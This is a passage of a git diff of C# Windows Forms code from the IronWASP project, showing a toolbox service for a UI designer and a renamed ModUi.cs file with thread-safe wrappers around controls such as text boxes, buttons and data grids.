ToolsList.Items.Add(TBI); + //SplitContainer + TBI = new System.Drawing.Design.ToolboxItem(typeof(ModSplitContainer)); + tba = TypeDescriptor.GetAttributes(typeof(System.Windows.Forms.SplitContainer))[typeof(System.Drawing.ToolboxBitmapAttribute)] as System.Drawing.ToolboxBitmapAttribute; + TBI.Bitmap = (System.Drawing.Bitmap)tba.GetImage(typeof(System.Windows.Forms.SplitContainer)); + ToolsList.Items.Add(TBI); + //TabControl + TBI = new System.Drawing.Design.ToolboxItem(typeof(ModTabControl)); + tba = TypeDescriptor.GetAttributes(typeof(System.Windows.Forms.TabControl))[typeof(System.Drawing.ToolboxBitmapAttribute)] as System.Drawing.ToolboxBitmapAttribute; + TBI.Bitmap = (System.Drawing.Bitmap)tba.GetImage(typeof(System.Windows.Forms.TabControl)); + ToolsList.Items.Add(TBI); + //ModDataGridView + TBI = new System.Drawing.Design.ToolboxItem(typeof(ModDataGridView)); + tba = TypeDescriptor.GetAttributes(typeof(System.Windows.Forms.DataGridView))[typeof(System.Drawing.ToolboxBitmapAttribute)] as System.Drawing.ToolboxBitmapAttribute; + TBI.Bitmap = (System.Drawing.Bitmap)tba.GetImage(typeof(System.Windows.Forms.DataGridView)); + ToolsList.Items.Add(TBI); + //Test + //TBI = new System.Drawing.Design.ToolboxItem(typeof(ContextMenuStrip)); + //tba = TypeDescriptor.GetAttributes(typeof(System.Windows.Forms.ContextMenuStrip))[typeof(System.Drawing.ToolboxBitmapAttribute)] as System.Drawing.ToolboxBitmapAttribute; + //TBI.Bitmap = (System.Drawing.Bitmap)tba.GetImage(typeof(System.Windows.Forms.ContextMenuStrip)); + //ToolsList.Items.Add(TBI); + + AddEventHandlers(); + this.DesignerHost = ModUiDesigner.IDH; + } + #endregion + + internal ListBox ToolsListBox + { + get + { + return ToolsList; + } + set + { + ToolsList = value; + } + } + + private void AddEventHandlers() + { + ToolsListBox.KeyDown += new System.Windows.Forms.KeyEventHandler(this.ToolsListBox_KeyDown); + ToolsListBox.MouseDown += new System.Windows.Forms.MouseEventHandler(this.ToolsListBox_MouseDown); + ToolsListBox.DrawItem += new System.Windows.Forms.DrawItemEventHandler(this.ToolsListBox_DrawItem); + } + + private void ToolsListBox_DrawItem(object sender, System.Windows.Forms.DrawItemEventArgs e) + { + try + { + ListBox lbSender = sender as ListBox; + if (lbSender == null) + return; + + // If this tool is the currently selected tool, draw it with a highlight. + if (SelectedIndex == e.Index) + { + e.Graphics.FillRectangle(Brushes.LightSlateGray, e.Bounds); + } + + System.Drawing.Design.ToolboxItem tbi = lbSender.Items[e.Index] as System.Drawing.Design.ToolboxItem; + Rectangle BitmapBounds = new Rectangle(e.Bounds.Location.X, e.Bounds.Location.Y + e.Bounds.Height / 2 - tbi.Bitmap.Height / 2, tbi.Bitmap.Width, tbi.Bitmap.Height); + Rectangle StringBounds = new Rectangle(e.Bounds.Location.X + BitmapBounds.Width + 5, e.Bounds.Location.Y, e.Bounds.Width - BitmapBounds.Width, e.Bounds.Height); + + StringFormat format = new StringFormat(); + + format.LineAlignment = StringAlignment.Center; + format.Alignment = StringAlignment.Near; + e.Graphics.DrawImage(tbi.Bitmap, BitmapBounds); + e.Graphics.DrawString(tbi.DisplayName, new Font("Tahoma", 11, FontStyle.Regular, GraphicsUnit.World), Brushes.Black, StringBounds, format); + } + catch (Exception ex) + { + ex.ToString(); + } + } + + private void ToolsListBox_MouseDown(object sender, System.Windows.Forms.MouseEventArgs e) + { + try + { + ListBox lbSender = sender as ListBox; + Rectangle lastSelectedBounds = lbSender.GetItemRectangle(0); + try + { + lastSelectedBounds = lbSender.GetItemRectangle(SelectedIndex); + } + catch(Exception ex) + { + ex.ToString(); + } + + SelectedIndex = lbSender.IndexFromPoint(e.X, e.Y); // change our selection + lbSender.SelectedIndex = SelectedIndex; + lbSender.Invalidate(lastSelectedBounds); // clear highlight from last selection + lbSender.Invalidate(lbSender.GetItemRectangle(SelectedIndex)); // highlight new one + + if (SelectedIndex != 0) + { + if (e.Clicks == 2) + { + IDesignerHost idh = (IDesignerHost)this.DesignerHost.GetService (typeof(IDesignerHost)); + IToolboxUser tbu = idh.GetDesigner (idh.RootComponent as IComponent) as IToolboxUser; + + if (tbu != null) + { + tbu.ToolPicked ((System.Drawing.Design.ToolboxItem)(lbSender.Items[SelectedIndex])); + } + } + else if (e.Clicks < 2) + { + System.Drawing.Design.ToolboxItem tbi = lbSender.Items[SelectedIndex] as System.Drawing.Design.ToolboxItem; + IToolboxService tbs = this; + + // The IToolboxService serializes ToolboxItems by packaging them in DataObjects. + DataObject d = tbs.SerializeToolboxItem (tbi) as DataObject; + + try + { + lbSender.DoDragDrop (d, DragDropEffects.Copy); + } + catch (Exception ex) + { + MessageBox.Show (ex.Message, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + } + } + catch(Exception ex) + { + ex.ToString(); + } + } + + private void ToolsListBox_KeyDown(object sender, System.Windows.Forms.KeyEventArgs e) + { + try + { + ListBox LbSender = sender as ListBox; + Rectangle LastSelectedBounds = LbSender.GetItemRectangle(0); + try + { + LastSelectedBounds = LbSender.GetItemRectangle(SelectedIndex); + } + catch(Exception ex) + { + ex.ToString(); + } + + switch (e.KeyCode) + { + case Keys.Up: if (SelectedIndex > 0) + { + SelectedIndex--; // change selection + LbSender.SelectedIndex = SelectedIndex; + LbSender.Invalidate(LastSelectedBounds); // clear old highlight + LbSender.Invalidate(LbSender.GetItemRectangle(SelectedIndex)); // add new one + } + break; + + case Keys.Down: if (SelectedIndex + 1 < LbSender.Items.Count) + { + SelectedIndex++; // change selection + LbSender.SelectedIndex = SelectedIndex; + LbSender.Invalidate(LastSelectedBounds); // clear old highlight + LbSender.Invalidate(LbSender.GetItemRectangle(SelectedIndex)); // add new one + } + break; + + case Keys.Enter: + if (DesignerHost == null) + MessageBox.Show ("idh Null"); + + IToolboxUser TBU = DesignerHost.GetDesigner (DesignerHost.RootComponent as IComponent) as IToolboxUser; + + if (TBU != null) + { + // Enter means place the tool with default location and default size. + TBU.ToolPicked((System.Drawing.Design.ToolboxItem)(LbSender.Items[SelectedIndex])); + LbSender.Invalidate (LastSelectedBounds); // clear old highlight + LbSender.Invalidate (LbSender.GetItemRectangle (SelectedIndex)); // add new one + } + + break; + + default: + { + Console.WriteLine("Error: Not able to add"); + break; + } + } // switch + } + catch(Exception ex) + { + MessageBox.Show(ex.ToString()); + } + } + + #region IToolboxService Members + + // We only implement what is really essential for ToolboxService + + public System.Drawing.Design.ToolboxItem GetSelectedToolboxItem (IDesignerHost host) + { + ListBox List = this.ToolsListBox; + System.Drawing.Design.ToolboxItem TBI = (System.Drawing.Design.ToolboxItem)List.Items[SelectedIndex]; + if (TBI.DisplayName != "Select from below:") + return TBI; + else + return null; + } + + public System.Drawing.Design.ToolboxItem GetSelectedToolboxItem () + { + return this.GetSelectedToolboxItem(null); + } + + public void AddToolboxItem(System.Drawing.Design.ToolboxItem toolboxItem, string category) + { + } + + public void AddToolboxItem(System.Drawing.Design.ToolboxItem toolboxItem) + { + } + + public bool IsToolboxItem (object serializedObject, IDesignerHost host) + { + return false; + } + + public bool IsToolboxItem (object serializedObject) + { + return false; + } + + public void SetSelectedToolboxItem (System.Drawing.Design.ToolboxItem toolboxItem) + { + } + + public void SelectedToolboxItemUsed () + { + ListBox list = this.ToolsListBox; + + list.Invalidate(list.GetItemRectangle(SelectedIndex)); + SelectedIndex = 0; + list.SelectedIndex = 0; + list.Invalidate (list.GetItemRectangle (SelectedIndex)); + } + + public CategoryNameCollection CategoryNames + { + get + { + return null; + } + } + + void IToolboxService.Refresh () + { + } + + public void AddLinkedToolboxItem (System.Drawing.Design.ToolboxItem toolboxItem, string category, IDesignerHost host) + { + } + + public void AddLinkedToolboxItem (System.Drawing.Design.ToolboxItem toolboxItem, IDesignerHost host) + { + } + + public bool IsSupported (object serializedObject, ICollection filterAttributes) + { + return false; + } + + public bool IsSupported (object serializedObject, IDesignerHost host) + { + return false; + } + + public string SelectedCategory + { + get + { + return null; + } + set + { + } + } + + public System.Drawing.Design.ToolboxItem DeserializeToolboxItem (object serializedObject, IDesignerHost host) + { + return (System.Drawing.Design.ToolboxItem)((DataObject)serializedObject).GetData(typeof(System.Drawing.Design.ToolboxItem)); + } + + public System.Drawing.Design.ToolboxItem DeserializeToolboxItem (object serializedObject) + { + return this.DeserializeToolboxItem(serializedObject, this.DesignerHost); + } + + public System.Drawing.Design.ToolboxItemCollection GetToolboxItems (string category, IDesignerHost host) + { + return null; + } + + public System.Drawing.Design.ToolboxItemCollection GetToolboxItems (string category) + { + return null; + } + + public System.Drawing.Design.ToolboxItemCollection GetToolboxItems (IDesignerHost host) + { + return null; + } + + public System.Drawing.Design.ToolboxItemCollection GetToolboxItems () + { + return null; + } + + public void AddCreator (ToolboxItemCreatorCallback creator, string format, IDesignerHost host) + { + } + + public void AddCreator (ToolboxItemCreatorCallback creator, string format) + { + } + + public bool SetCursor () + { + return false; + } + + public void RemoveToolboxItem (System.Drawing.Design.ToolboxItem toolboxItem, string category) + { + } + + public void RemoveToolboxItem (System.Drawing.Design.ToolboxItem toolboxItem) + { + } + + public object SerializeToolboxItem (System.Drawing.Design.ToolboxItem toolboxItem) + { + return new DataObject (toolboxItem); + } + + public void RemoveCreator (string format, IDesignerHost host) + { + } + + public void RemoveCreator (string format) + { + } + + #endregion + } +} diff --git a/IronWASP/ModUi.cs b/Iron/ModUi.cs similarity index 93% rename from IronWASP/ModUi.cs rename to Iron/ModUi.cs index ec8ad9e..321388a 100644 --- a/IronWASP/ModUi.cs +++ b/Iron/ModUi.cs @@ -1,722 +1,771 @@ -using System; -using System.Xml; -using System.IO; -using System.Windows.Forms; -using System.Drawing; -using System.Collections; -using System.Collections.Generic; -using System.Text; -using System.Threading; - -namespace IronWASP -{ - public class ModUi : Form - { - internal static Dictionary EventHandlers = new Dictionary() { { "FormClosing", "" } }; - - public Dictionary ModControls = new Dictionary(); - - public ModUi() - { - AppDomain.CurrentDomain.UnhandledException += new UnhandledExceptionEventHandler(ModUi_UnhandledException); - Application.ThreadException += new ThreadExceptionEventHandler(ModUi_ThreadException); - } - - private static void ModUi_ThreadException(object sender, System.Threading.ThreadExceptionEventArgs e) - { - try - { - IronException.Report("Unhandled Exception in ModUi Thread", e.Exception); - MessageBox.Show("Unhanled Exception was encountered in this Module/Script. Exception details are available under the Exception node."); - } - catch { } - } - - private static void ModUi_UnhandledException(object sender, UnhandledExceptionEventArgs e) - { - try - { - Exception Exp = (Exception)e.ExceptionObject; - IronException.Report("Unhandled Exception in ModUi", Exp); - MessageBox.Show("Unhanled Exception was encountered in this Module/Script. Exception details are available under the Exception node."); - } - catch { } - } - - public void ShowUi() - { - IronThread.Run(ShowUiObject, this); - } - - void ShowUiObject(object ModUiObj) - { - ModUi MU = (ModUi)ModUiObj; - Application.Run(MU); - } - - internal static void ResetEventHandlers() - { - EventHandlers = new Dictionary() { { "FormClosing", "" } }; - } - - delegate void SetText_d(string Text); - public void SetText(string Text) - { - if (this.InvokeRequired) - { - SetText_d STD = new SetText_d(SetText); - this.Invoke(STD, new object[] { Text }); - } - else - { - this.Text = Text; - } - } - } - - public class ModTextBox : TextBox - { - internal Dictionary EventHandlers = new Dictionary() { {"TextChanged", ""}}; - - delegate void SetText_d(string Text); - public void SetText(string Text) - { - if (this.InvokeRequired) - { - SetText_d STD = new SetText_d(SetText); - this.Invoke(STD, new object[] { Text }); - } - else - { - this.Text = Text; - } - } - - delegate void AddText_d(string Text); - public void AddText(string Text) - { - if (this.InvokeRequired) - { - AddText_d ATD = new AddText_d(AddText); - this.Invoke(ATD, new object[] { Text }); - } - else - { - this.Text = this.Text + Text; - } - } - - delegate void SetEnabled_d(bool Enable); - public void SetEnabled(bool Enable) - { - if (this.InvokeRequired) - { - SetEnabled_d SED = new SetEnabled_d(SetEnabled); - this.Invoke(SED, new object[] { Enable }); - } - else - { - this.Enabled = Enable; - } - } - - delegate void SetVisible_d(bool Visible); - public void SetVisible(bool Visible) - { - if (this.InvokeRequired) - { - SetVisible_d SVD = new SetVisible_d(SetVisible); - this.Invoke(SVD, new object[] { Visible }); - } - else - { - this.Visible = Visible; - } - } - - delegate void SetReadOnly_d(bool ReadOnly); - public void SetReadOnly(bool ReadOnly) - { - if (this.InvokeRequired) - { - SetReadOnly_d SROD = new SetReadOnly_d(SetReadOnly); - this.Invoke(SROD, new object[] { ReadOnly }); - } - else - { - this.ReadOnly = ReadOnly; - } - } - } - - public class ModRichTextBox : RichTextBox - { - internal Dictionary EventHandlers = new Dictionary() { { "TextChanged", "" } }; - StringBuilder RichTextHolder = new StringBuilder(); - - delegate void SetText_d(string Text); - public void SetText(string Text) - { - if (this.InvokeRequired) - { - SetText_d STD = new SetText_d(SetText); - this.Invoke(STD, new object[] { Text }); - } - else - { - this.Text = Text; - } - } - - delegate void AddText_d(string Text); - public void AddText(string Text) - { - if (this.InvokeRequired) - { - AddText_d ATD = new AddText_d(AddText); - this.Invoke(ATD, new object[] { Text }); - } - else - { - this.Text = this.Text + Text; - } - } - - delegate void SetEnabled_d(bool Enable); - public void SetEnabled(bool Enable) - { - if (this.InvokeRequired) - { - SetEnabled_d SED = new SetEnabled_d(SetEnabled); - this.Invoke(SED, new object[] { Enable }); - } - else - { - this.Enabled = Enable; - } - } - - delegate void SetVisible_d(bool Visible); - public void SetVisible(bool Visible) - { - if (this.InvokeRequired) - { - SetVisible_d SVD = new SetVisible_d(SetVisible); - this.Invoke(SVD, new object[] { Visible }); - } - else - { - this.Visible = Visible; - } - } - - delegate void SetReadOnly_d(bool ReadOnly); - public void SetReadOnly(bool ReadOnly) - { - if (this.InvokeRequired) - { - SetReadOnly_d SROD = new SetReadOnly_d(SetReadOnly); - this.Invoke(SROD, new object[] { ReadOnly }); - } - else - { - this.ReadOnly = ReadOnly; - } - } - - delegate void SetRichText_d(string Text); - public void SetRichText(string Text) - { - if (this.InvokeRequired) - { - SetRichText_d SRTD = new SetRichText_d(SetRichText); - this.Invoke(SRTD, new object[] { Text }); - } - else - { - this.Rtf = Text; - } - } - - delegate void HighLight_d(string StartMarker, string EndMarker); - public void HighLight(string StartMarker, string EndMarker) - { - if (this.InvokeRequired) - { - HighLight_d HD = new HighLight_d(HighLight); - this.Invoke(HD, new object[] { StartMarker, EndMarker }); - } - else - { - int SSI = this.SelectionStart; - int SSL = this.SelectionLength; - string TempText = this.Text; - this.Text = TempText;//this is done to clear all previous selection highlighting - bool CheckFurther = true; - int Pointer = 0; - string Content = this.Text; - while (CheckFurther && Content.Length > Pointer) - { - int Start = Content.IndexOf(StartMarker, Pointer); - int Stop = Content.IndexOf(EndMarker, Start + StartMarker.Length); - if (Start == -1 || Stop == -1) CheckFurther = false; - if (CheckFurther) - { - this.SelectionStart = Start; - this.SelectionLength = Stop - Start; - this.SelectionBackColor = Color.Orange; - } - Pointer = Stop + EndMarker.Length; - } - this.SelectionStart = SSI; - this.SelectionLength = SSL; - } - } - } - - public class ModLabel : Label - { - internal Dictionary EventHandlers = new Dictionary() { }; - delegate void SetText_d(string Text); - public void SetText(string Text) - { - if (this.InvokeRequired) - { - SetText_d STD = new SetText_d(SetText); - this.Invoke(STD, new object[] { Text }); - } - else - { - this.Text = Text; - } - } - - delegate void AddText_d(string Text); - public void AddText(string Text) - { - if (this.InvokeRequired) - { - AddText_d ATD = new AddText_d(AddText); - this.Invoke(ATD, new object[] { Text }); - } - else - { - this.Text = this.Text + Text; - } - } - - delegate void SetEnabled_d(bool Enable); - public void SetEnabled(bool Enable) - { - if (this.InvokeRequired) - { - SetEnabled_d SED = new SetEnabled_d(SetEnabled); - this.Invoke(SED, new object[] { Enable }); - } - else - { - this.Enabled = Enable; - } - } - - delegate void SetVisible_d(bool Visible); - public void SetVisible(bool Visible) - { - if (this.InvokeRequired) - { - SetVisible_d SVD = new SetVisible_d(SetVisible); - this.Invoke(SVD, new object[] { Visible }); - } - else - { - this.Visible = Visible; - } - } - } - - public class ModButton : Button - { - internal Dictionary EventHandlers = new Dictionary() { { "Click", "" } }; - - delegate void SetText_d(string Text); - public void SetText(string Text) - { - if (this.InvokeRequired) - { - SetText_d STD = new SetText_d(SetText); - this.Invoke(STD, new object[] { Text }); - } - else - { - this.Text = Text; - } - } - - delegate void AddText_d(string Text); - public void AddText(string Text) - { - if (this.InvokeRequired) - { - AddText_d ATD = new AddText_d(AddText); - this.Invoke(ATD, new object[] { Text }); - } - else - { - this.Text = this.Text + Text; - } - } - - delegate void SetEnabled_d(bool Enable); - public void SetEnabled(bool Enable) - { - if (this.InvokeRequired) - { - SetEnabled_d SED = new SetEnabled_d(SetEnabled); - this.Invoke(SED, new object[] { Enable }); - } - else - { - this.Enabled = Enable; - } - } - - delegate void SetVisible_d(bool Visible); - public void SetVisible(bool Visible) - { - if (this.InvokeRequired) - { - SetVisible_d SVD = new SetVisible_d(SetVisible); - this.Invoke(SVD, new object[] { Visible }); - } - else - { - this.Visible = Visible; - } - } - } - - public class ModCheckBox : CheckBox - { - internal Dictionary EventHandlers = new Dictionary() { { "CheckedChanged", "" } }; - - delegate void SetChecked_d(bool Checked); - public void SetChecked(bool Checked) - { - if (this.InvokeRequired) - { - SetChecked_d SCD = new SetChecked_d(SetChecked); - this.Invoke(SCD, new object[] { Checked }); - } - else - { - this.Checked = Checked; - } - } - - delegate void SetText_d(string Text); - public void SetText(string Text) - { - if (this.InvokeRequired) - { - SetText_d STD = new SetText_d(SetText); - this.Invoke(STD, new object[] { Text }); - } - else - { - this.Text = Text; - } - } - - delegate void SetEnabled_d(bool Enable); - public void SetEnabled(bool Enable) - { - if (this.InvokeRequired) - { - SetEnabled_d SED = new SetEnabled_d(SetEnabled); - this.Invoke(SED, new object[] { Enable }); - } - else - { - this.Enabled = Enable; - } - } - - delegate void SetVisible_d(bool Visible); - public void SetVisible(bool Visible) - { - if (this.InvokeRequired) - { - SetVisible_d SVD = new SetVisible_d(SetVisible); - this.Invoke(SVD, new object[] { Visible }); - } - else - { - this.Visible = Visible; - } - } - } - - public class ModRadioButton : RadioButton - { - internal Dictionary EventHandlers = new Dictionary() { { "CheckedChanged", "" } }; - - delegate void SetChecked_d(bool Checked); - public void SetChecked(bool Checked) - { - if (this.InvokeRequired) - { - SetChecked_d SCD = new SetChecked_d(SetChecked); - this.Invoke(SCD, new object[] { Checked }); - } - else - { - this.Checked = Checked; - } - } - - delegate void SetText_d(string Text); - public void SetText(string Text) - { - if (this.InvokeRequired) - { - SetText_d STD = new SetText_d(SetText); - this.Invoke(STD, new object[] { Text }); - } - else - { - this.Text = Text; - } - } - - delegate void SetEnabled_d(bool Enable); - public void SetEnabled(bool Enable) - { - if (this.InvokeRequired) - { - SetEnabled_d SED = new SetEnabled_d(SetEnabled); - this.Invoke(SED, new object[] { Enable }); - } - else - { - this.Enabled = Enable; - } - } - - delegate void SetVisible_d(bool Visible); - public void SetVisible(bool Visible) - { - if (this.InvokeRequired) - { - SetVisible_d SVD = new SetVisible_d(SetVisible); - this.Invoke(SVD, new object[] { Visible }); - } - else - { - this.Visible = Visible; - } - } - } - - public class ModDataGridView : DataGridView - { - internal Dictionary EventHandlers = new Dictionary() { { "CellClick", "" } }; - Dictionary GridMap = new Dictionary(); - public ModDataGridView() - { - this.RowHeadersVisible = false; - this.GridColor = Color.White; - this.BackgroundColor = Color.White; - this.AllowUserToResizeRows = false; - this.AllowUserToAddRows = false; - this.AllowUserToDeleteRows = false; - this.SelectionMode = DataGridViewSelectionMode.FullRowSelect; - this.ColumnHeadersHeightSizeMode = DataGridViewColumnHeadersHeightSizeMode.DisableResizing; - } - - delegate void AddRow_d(object CellsObj); - public void AddRow(object CellsObj) - { - if (this.InvokeRequired) - { - AddRow_d ARD = new AddRow_d(AddRow); - this.Invoke(ARD, new object[] { CellsObj }); - } - else - { - object[] CellsArray = Tools.ToDotNetArray(CellsObj); - if (CellsArray.Length > 0) - { - int GridId = this.Rows.Add(CellsArray); - if (CellsArray.Length > 0) - { - try - { - int ID = Int32.Parse(CellsArray[0].ToString()); - GridMap[ID] = GridId; - } - catch { } - } - } - } - } - - delegate void UpdateRow_d(object CellsObj); - public void UpdateRow(object CellsObj) - { - if (this.InvokeRequired) - { - UpdateRow_d URD = new UpdateRow_d(UpdateRow); - this.Invoke(URD, new object[] { CellsObj }); - } - else - { - object[] CellsArray = Tools.ToDotNetArray(CellsObj); - if(CellsArray.Length == 0 || CellsArray[0] == null) - { - throw new Exception("ID not provided"); - } - - int GridId = -1; - try - { - int ID = Int32.Parse(CellsArray[0].ToString()); - if(GridMap.ContainsKey(ID)) GridId = GridMap[ID]; - }catch{} - if(GridId == -1 || !this.Rows[GridId].Cells[0].Value.ToString().Equals(CellsArray[0].ToString())) - { - foreach(DataGridViewRow Row in this.Rows) - { - if(Row.Cells[0].Value.ToString().Equals(CellsArray[0].ToString())) - { - GridId = Row.Index; - break; - } - } - } - if(GridId == -1) - { - throw new Exception("ID is missing in the Grid"); - } - for(int i=1; i < CellsArray.Length; i++) - { - if (CellsArray[i] != null) - this.Rows[GridId].Cells[i].Value = CellsArray[i]; - } - } - } - - delegate void SetEnabled_d(bool Enable); - public void SetEnabled(bool Enable) - { - if (this.InvokeRequired) - { - SetEnabled_d SED = new SetEnabled_d(SetEnabled); - this.Invoke(SED, new object[] { Enable }); - } - else - { - this.Enabled = Enable; - } - } - - delegate void SetVisible_d(bool Visible); - public void SetVisible(bool Visible) - { - if (this.InvokeRequired) - { - SetVisible_d SVD = new SetVisible_d(SetVisible); - this.Invoke(SVD, new object[] { Visible }); - } - else - { - this.Visible = Visible; - } - } - } - - public class ModPanel : Panel - { - internal Dictionary EventHandlers = new Dictionary() { }; - - delegate void SetEnabled_d(bool Enable); - public void SetEnabled(bool Enable) - { - if (this.InvokeRequired) - { - SetEnabled_d SED = new SetEnabled_d(SetEnabled); - this.Invoke(SED, new object[] { Enable }); - } - else - { - this.Enabled = Enable; - } - } - - delegate void SetVisible_d(bool Visible); - public void SetVisible(bool Visible) - { - if (this.InvokeRequired) - { - SetVisible_d SVD = new SetVisible_d(SetVisible); - this.Invoke(SVD, new object[] { Visible }); - } - else - { - this.Visible = Visible; - } - } - } - - public class ModTabControl : TabControl - { - internal Dictionary EventHandlers = new Dictionary() { { "SelectedIndexChanged", "" } }; - - delegate void SetSelectedTab_d(string TabName); - public void SetSelectedTab(string TabName) - { - if (this.InvokeRequired) - { - SetSelectedTab_d SSTD = new SetSelectedTab_d(SetSelectedTab); - this.Invoke(SSTD, new object[] { TabName }); - } - else - { - this.SelectTab(TabName); - } - } - - delegate void SetEnabled_d(bool Enable); - public void SetEnabled(bool Enable) - { - if (this.InvokeRequired) - { - SetEnabled_d SED = new SetEnabled_d(SetEnabled); - this.Invoke(SED, new object[] { Enable }); - } - else - { - this.Enabled = Enable; - } - } - - delegate void SetVisible_d(bool Visible); - public void SetVisible(bool Visible) - { - if (this.InvokeRequired) - { - SetVisible_d SVD = new SetVisible_d(SetVisible); - this.Invoke(SVD, new object[] { Visible }); - } - else - { - this.Visible = Visible; - } - } - } - - public class ModTabPage : TabPage - { - - } - -} +using System; +using System.Xml; +using System.IO; +using System.Windows.Forms; +using System.Drawing; +using System.Collections; +using System.Collections.Generic; +using System.Text; +using System.Threading; + +namespace IronWASP +{ + public class ModUi : Form + { + internal static Dictionary EventHandlers = new Dictionary() { { "FormClosing", "" } }; + + public Dictionary ModControls = new Dictionary(); + + public ModUi() + { + AppDomain.CurrentDomain.UnhandledException += new UnhandledExceptionEventHandler(ModUi_UnhandledException); + Application.ThreadException += new ThreadExceptionEventHandler(ModUi_ThreadException); + } + + private static void ModUi_ThreadException(object sender, System.Threading.ThreadExceptionEventArgs e) + { + try + { + IronException.Report("Unhandled Exception in ModUi Thread", e.Exception); + MessageBox.Show("Unhanled Exception was encountered in this Module/Script. Exception details are available under the Exception node."); + } + catch { } + } + + private static void ModUi_UnhandledException(object sender, UnhandledExceptionEventArgs e) + { + try + { + Exception Exp = (Exception)e.ExceptionObject; + IronException.Report("Unhandled Exception in ModUi", Exp); + MessageBox.Show("Unhanled Exception was encountered in this Module/Script. Exception details are available under the Exception node."); + } + catch { } + } + + public void ShowUi() + { + IronThread.Run(ShowUiObject, this); + } + + void ShowUiObject(object ModUiObj) + { + ModUi MU = (ModUi)ModUiObj; + Application.Run(MU); + } + + internal static void ResetEventHandlers() + { + EventHandlers = new Dictionary() { { "FormClosing", "" } }; + } + + delegate void SetText_d(string Text); + public void SetText(string Text) + { + if (this.InvokeRequired) + { + SetText_d STD = new SetText_d(SetText); + this.Invoke(STD, new object[] { Text }); + } + else + { + this.Text = Text; + } + } + + private void InitializeComponent() + { + this.SuspendLayout(); + // + // ModUi + // + this.ClientSize = new System.Drawing.Size(284, 261); + this.Name = "ModUi"; + this.ResumeLayout(false); + + } + } + + public class ModTextBox : TextBox + { + internal Dictionary EventHandlers = new Dictionary() { {"TextChanged", ""}}; + + delegate void SetText_d(string Text); + public void SetText(string Text) + { + if (this.InvokeRequired) + { + SetText_d STD = new SetText_d(SetText); + this.Invoke(STD, new object[] { Text }); + } + else + { + this.Text = Text; + } + } + + delegate void AddText_d(string Text); + public void AddText(string Text) + { + if (this.InvokeRequired) + { + AddText_d ATD = new AddText_d(AddText); + this.Invoke(ATD, new object[] { Text }); + } + else + { + this.AppendText(Text); + this.SelectionStart = this.Text.Length; + this.ScrollToCaret(); + } + } + + delegate void SetEnabled_d(bool Enable); + public void SetEnabled(bool Enable) + { + if (this.InvokeRequired) + { + SetEnabled_d SED = new SetEnabled_d(SetEnabled); + this.Invoke(SED, new object[] { Enable }); + } + else + { + this.Enabled = Enable; + } + } + + delegate void SetVisible_d(bool Visible); + public void SetVisible(bool Visible) + { + if (this.InvokeRequired) + { + SetVisible_d SVD = new SetVisible_d(SetVisible); + this.Invoke(SVD, new object[] { Visible }); + } + else + { + this.Visible = Visible; + } + } + + delegate void SetReadOnly_d(bool ReadOnly); + public void SetReadOnly(bool ReadOnly) + { + if (this.InvokeRequired) + { + SetReadOnly_d SROD = new SetReadOnly_d(SetReadOnly); + this.Invoke(SROD, new object[] { ReadOnly }); + } + else + { + this.ReadOnly = ReadOnly; + } + } + } + + public class ModRichTextBox : RichTextBox + { + internal Dictionary EventHandlers = new Dictionary() { { "TextChanged", "" } }; + StringBuilder RichTextHolder = new StringBuilder(); + + delegate void SetText_d(string Text); + public void SetText(string Text) + { + if (this.InvokeRequired) + { + SetText_d STD = new SetText_d(SetText); + this.Invoke(STD, new object[] { Text }); + } + else + { + this.Text = Text; + } + } + + delegate void AddText_d(string Text); + public void AddText(string Text) + { + if (this.InvokeRequired) + { + AddText_d ATD = new AddText_d(AddText); + this.Invoke(ATD, new object[] { Text }); + } + else + { + this.AppendText(Text); + this.SelectionStart = this.Text.Length; + this.ScrollToCaret(); + } + } + + delegate void SetEnabled_d(bool Enable); + public void SetEnabled(bool Enable) + { + if (this.InvokeRequired) + { + SetEnabled_d SED = new SetEnabled_d(SetEnabled); + this.Invoke(SED, new object[] { Enable }); + } + else + { + this.Enabled = Enable; + } + } + + delegate void SetVisible_d(bool Visible); + public void SetVisible(bool Visible) + { + if (this.InvokeRequired) + { + SetVisible_d SVD = new SetVisible_d(SetVisible); + this.Invoke(SVD, new object[] { Visible }); + } + else + { + this.Visible = Visible; + } + } + + delegate void SetReadOnly_d(bool ReadOnly); + public void SetReadOnly(bool ReadOnly) + { + if (this.InvokeRequired) + { + SetReadOnly_d SROD = new SetReadOnly_d(SetReadOnly); + this.Invoke(SROD, new object[] { ReadOnly }); + } + else + { + this.ReadOnly = ReadOnly; + } + } + + delegate void SetRichText_d(string Text); + public void SetRichText(string Text) + { + if (this.InvokeRequired) + { + SetRichText_d SRTD = new SetRichText_d(SetRichText); + this.Invoke(SRTD, new object[] { Text }); + } + else + { + this.Rtf = Text; + } + } + + delegate void HighLight_d(string StartMarker, string EndMarker); + public void HighLight(string StartMarker, string EndMarker) + { + if (this.InvokeRequired) + { + HighLight_d HD = new HighLight_d(HighLight); + this.Invoke(HD, new object[] { StartMarker, EndMarker }); + } + else + { + int SSI = this.SelectionStart; + int SSL = this.SelectionLength; + string TempText = this.Text; + this.Text = TempText;//this is done to clear all previous selection highlighting + bool CheckFurther = true; + int Pointer = 0; + string Content = this.Text; + while (CheckFurther && Content.Length > Pointer) + { + int Start = Content.IndexOf(StartMarker, Pointer); + int Stop = Content.IndexOf(EndMarker, Start + StartMarker.Length); + if (Start == -1 || Stop == -1) CheckFurther = false; + if (CheckFurther) + { + this.SelectionStart = Start; + this.SelectionLength = Stop - Start; + this.SelectionBackColor = Color.Orange; + } + Pointer = Stop + EndMarker.Length; + } + this.SelectionStart = SSI; + this.SelectionLength = SSL; + } + } + } + + public class ModLabel : Label + { + internal Dictionary EventHandlers = new Dictionary() { }; + delegate void SetText_d(string Text); + public void SetText(string Text) + { + if (this.InvokeRequired) + { + SetText_d STD = new SetText_d(SetText); + this.Invoke(STD, new object[] { Text }); + } + else + { + this.Text = Text; + } + } + + delegate void AddText_d(string Text); + public void AddText(string Text) + { + if (this.InvokeRequired) + { + AddText_d ATD = new AddText_d(AddText); + this.Invoke(ATD, new object[] { Text }); + } + else + { + this.Text = this.Text + Text; + } + } + + delegate void SetEnabled_d(bool Enable); + public void SetEnabled(bool Enable) + { + if (this.InvokeRequired) + { + SetEnabled_d SED = new SetEnabled_d(SetEnabled); + this.Invoke(SED, new object[] { Enable }); + } + else + { + this.Enabled = Enable; + } + } + + delegate void SetVisible_d(bool Visible); + public void SetVisible(bool Visible) + { + if (this.InvokeRequired) + { + SetVisible_d SVD = new SetVisible_d(SetVisible); + this.Invoke(SVD, new object[] { Visible }); + } + else + { + this.Visible = Visible; + } + } + } + + public class 